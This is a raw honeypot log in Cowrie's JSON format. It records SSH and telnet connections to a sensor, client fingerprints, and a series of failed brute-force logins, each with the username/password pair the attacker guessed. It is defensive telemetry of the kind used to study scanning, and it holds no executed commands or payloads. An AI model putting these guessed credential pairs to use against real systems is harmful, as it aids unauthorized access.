{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:46.632253Z","src_ip":"141.11.88.14","session":"5e62e4676e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"biblio","password":"biblio","message":"login attempt [biblio/biblio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:46.978742Z","src_ip":"160.191.244.158","session":"78219bc05dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"123456","message":"login attempt [client/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:47.438056Z","src_ip":"141.11.88.14","session":"5e62e4676e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:48.211285Z","src_ip":"160.191.244.158","session":"78219bc05dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:48.539415Z","src_ip":"141.11.88.14","session":"5e62e4676e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39160,"dst_ip":"10.17.0.5","dst_port":22,"session":"420419d77794","protocol":"ssh","message":"New connection: 141.11.88.14:39160 (10.17.0.5:22) [session: 420419d77794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:51.608916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:52.077100Z","src_ip":"141.11.88.14","session":"420419d77794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:52.082037Z","src_ip":"141.11.88.14","session":"420419d77794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sasha","password":"sasha","message":"login attempt [sasha/sasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:54.393278Z","src_ip":"141.11.88.14","session":"420419d77794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":36380,"dst_ip":"159.203.135.109","dst_port":22,"session":"3821dbae08eb","protocol":"ssh","message":"New connection: 211.253.37.225:36380 (159.203.135.109:22) [session: 3821dbae08eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:55.465557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:55.470277Z","src_ip":"211.253.37.225","session":"3821dbae08eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:55.698775Z","src_ip":"141.11.88.14","session":"420419d77794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:55.761335Z","src_ip":"211.253.37.225","session":"3821dbae08eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maia","password":"maia123","message":"login attempt [maia/maia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:56.729383Z","src_ip":"211.253.37.225","session":"3821dbae08eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:57.987866Z","src_ip":"211.253.37.225","session":"3821dbae08eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35018,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d77d0a1bf7","protocol":"ssh","message":"New connection: 141.11.88.14:35018 (10.17.0.5:22) [session: e5d77d0a1bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:59.652920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:59.743621Z","src_ip":"141.11.88.14","session":"e5d77d0a1bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:59.749295Z","src_ip":"141.11.88.14","session":"e5d77d0a1bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"p@ssw0rd","message":"login attempt [kafka/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:01.260274Z","src_ip":"141.11.88.14","session":"e5d77d0a1bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:02.459902Z","src_ip":"141.11.88.14","session":"e5d77d0a1bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35032,"dst_ip":"10.17.0.5","dst_port":22,"session":"63775de2789f","protocol":"ssh","message":"New connection: 141.11.88.14:35032 (10.17.0.5:22) [session: 63775de2789f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:06.545570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:06.614513Z","src_ip":"141.11.88.14","session":"63775de2789f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:06.699249Z","src_ip":"141.11.88.14","session":"63775de2789f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:07.077452Z","src_ip":"141.11.88.14","session":"63775de2789f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:08.425924Z","src_ip":"141.11.88.14","session":"63775de2789f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53834,"dst_ip":"10.17.0.5","dst_port":22,"session":"5136fe024a34","protocol":"ssh","message":"New connection: 141.11.88.14:53834 (10.17.0.5:22) [session: 5136fe024a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:12.983625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:13.139942Z","src_ip":"141.11.88.14","session":"5136fe024a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:13.157482Z","src_ip":"141.11.88.14","session":"5136fe024a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc4rfv","message":"login attempt [root/!QAZ2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:15.151777Z","src_ip":"141.11.88.14","session":"5136fe024a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:16.792827Z","src_ip":"141.11.88.14","session":"5136fe024a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24606,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a664ade812d","protocol":"ssh","message":"New connection: 141.11.88.14:24606 (10.17.0.5:22) [session: 3a664ade812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:19.431472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:19.592955Z","src_ip":"141.11.88.14","session":"3a664ade812d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:19.600047Z","src_ip":"141.11.88.14","session":"3a664ade812d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"pass","message":"login attempt [deploy/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:20.843766Z","src_ip":"141.11.88.14","session":"3a664ade812d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:21.929768Z","src_ip":"141.11.88.14","session":"3a664ade812d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56958,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7c586d42a47","protocol":"ssh","message":"New connection: 141.11.88.14:56958 (10.17.0.5:22) [session: d7c586d42a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:27.823544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:28.121525Z","src_ip":"141.11.88.14","session":"d7c586d42a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:28.133755Z","src_ip":"141.11.88.14","session":"d7c586d42a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anmol","password":"anmol","message":"login attempt [anmol/anmol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:28.738151Z","src_ip":"141.11.88.14","session":"d7c586d42a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:29.878462Z","src_ip":"141.11.88.14","session":"d7c586d42a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":55952,"dst_ip":"159.203.135.109","dst_port":22,"session":"50790c5fb300","protocol":"ssh","message":"New connection: 103.82.20.28:55952 (159.203.135.109:22) [session: 50790c5fb300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.280009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.284441Z","src_ip":"103.82.20.28","session":"50790c5fb300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39924,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c930bdeb867","protocol":"telnet","message":"New connection: 172.81.62.90:39924 (159.203.135.109:23) [session: 7c930bdeb867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.391612Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57060,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fddd3ece98","protocol":"ssh","message":"New connection: 141.11.88.14:57060 (10.17.0.5:22) [session: 69fddd3ece98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.446504Z"}
